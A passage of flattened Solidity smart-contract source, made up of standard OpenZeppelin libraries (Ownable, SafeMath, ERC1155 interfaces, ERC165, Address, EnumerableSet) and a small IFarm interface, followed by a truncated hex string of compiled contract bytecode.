*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IFarm {
function NFTCost() external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
| 0x608060405234801561001057600080fd5b50600436106101725760003560e01c8063731133e9116100de578063ca15c87311610097578063e985e9c511610071578063e985e9c514610ae2578063f242432a14610b10578063f2fde38b14610b65578063f5298aca14610b8b57610172565b8063ca15c87314610a91578063d539139314610aae578063d547741f14610ab657610172565b8063731133e9146109285780638da5cb5b146109e85780639010d07c14610a0c57806391d1485414610a2f578063a217fddf14610a5b578063a22cb46514610a6357610172565b80632eb2c2d6116101305780632eb2c2d6146104615780632f2ff15d1461062257806336568abe1461064e5780634e1273f41461067a5780636b20c454146107ed578063715018a61461092057610172565b8062fdd58e1461017757806301ffc9a7146101b55780630e89341c146101f05780631f7fdffa14610282578063248a9ca31461043c578063282c51f314610459575b600080fd5b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610bbd565b60408051918252519081900360200190f35b6101dc600480360360208110156101cb57600080fd5b50356001600160e01b031916610c2f565b604080519115158252519081900360200190f35b61020d6004803603602081101561020657600080fd5b5035610c4e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024757818101518382015260200161022f565b50505050905090810190601f1680156102745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61043a6004803603608081101561029857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156102c257600080fd5b8201836020820111156102d457600080fd5b803590602001918460208302840111600160201b831117156102f557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561034457600080fd5b82018360208201111561035657600080fd5b803590602001918460208302840111600160201b8311171561037757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c657600080fd5b8201836020820111156103d857600080fd5b803590602001918460018302840111600160201b831117156103f957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ce6945050505050565b005b6101a36004803603602081101561045257600080fd5b5035610d9f565b6101a3610db4565b61043a600480360360a081101561047757600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b8111156104aa57600080fd5b8201836020820111156104bc57600080fd5b803590602001918460208302840111600160201b831117156104dd57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561052c57600080fd5b82018360208201111561053e57600080fd5b803590602001918460208302840111600160201b8311171561055f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105ae57600080fd5b8201836020820111156105c057600080fd5b803590602001918460018302840111600160201b831117156105e157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610dd8945050505050565b61043a6004803603604081101561063857600080fd5b50803590602001356001600160a01b0316610e25565b61043a6004803603604081101561066457600080fd5b50803590602001356001600160a01b0316610e8c565b61079d6004803603604081101561069057600080fd5b810190602081018135600160201b8111156106aa57600080fd5b8201836020820111156106bc57600080fd5b803590602001918460208302840111600160201b831117156106dd57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072c57600080fd5b82018360208201111561073e57600080fd5b803590602001918460208302840111600160201b8311171561075f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610eed945050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156107d95781810151838201526020016107c1565b505050509050019250505060405180910390f35b61043a6004803603606081101561080357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561082d57600080fd5b82018360208201111561083f57600080fd5b803590602001918460208302840111600160201b8311171561086057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108af57600080fd5b8201836020820111156108c157600080fd5b803590602001918460208302840111600160201b831117156108e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fd9945050505050565b61043a611050565b61043a6004803603608081101561093e57600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b81111561097457600080fd5b82018360208201111561098657600080fd5b803590602001918460018302840111600160201b831117156109a757600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061110e945050505050565b6109f0611187565b604080516001600160a01b039092168252519081900360200190f35b6109f060048036036040811015610a2257600080fd5b5080359060200135611197565b6101dc60048036036040811015610a4557600080fd5b50803590602001356001600160a01b03166111b6565b6101a36111ce565b61043a60048036036040811015610a7957600080fd5b506001600160a01b03813516906020013515156111d3565b6101a360048036036020811015610aa757600080fd5b50356112c2565b6101a36112d9565b61043a60048036036040811015610acc57600080fd5b50803590602001356001600160a01b03166112fd565b6101dc60048036036040811015610af857600080fd5b506001600160a01b0381358116916020013516611356565b61043a600480360360a0811015610b2657600080fd5b6001600160a01b03823581169260208101359091169160408201359160608101359181019060a081016080820135600160201b8111156105ae57600080fd5b61043a60048036036020811015610b7b57600080fd5b50356001600160a01b0316611384565b61043a60048036036060811015610ba157600080fd5b506001600160a01b038135169060208101359060400135611499565b60006001600160a01b038316610c045760405162461bcd60e51b815260040180806020018281038252602b815260200180612119602b913960400191505060405180910390fd5b5060008181526003602090815260408083206001600160a01b03861684529091529020545b92915050565b6001600160e01b03191660009081526002602052604090205460ff1690565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610cda5780601f10610caf57610100808354040283529160200191610cda565b820191906000526020600020905b815481529060010190602001808311610cbd57829003601f168201915b50505050509050919050565b610d177f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610d12611520565b6111b6565b610d525760405162461bcd60e51b81526004018080602001828103825260228152602001806121e16022913960400191505060405180910390fd5b60005b8351811015610d9857610d9085858381518110610d6e57fe5b6020026020010151858481518110610d8257fe5b602002602001015185611524565b600101610d55565b5050505050565b60009081526020819052604090206002015490565b7f3c11d16cbaffd0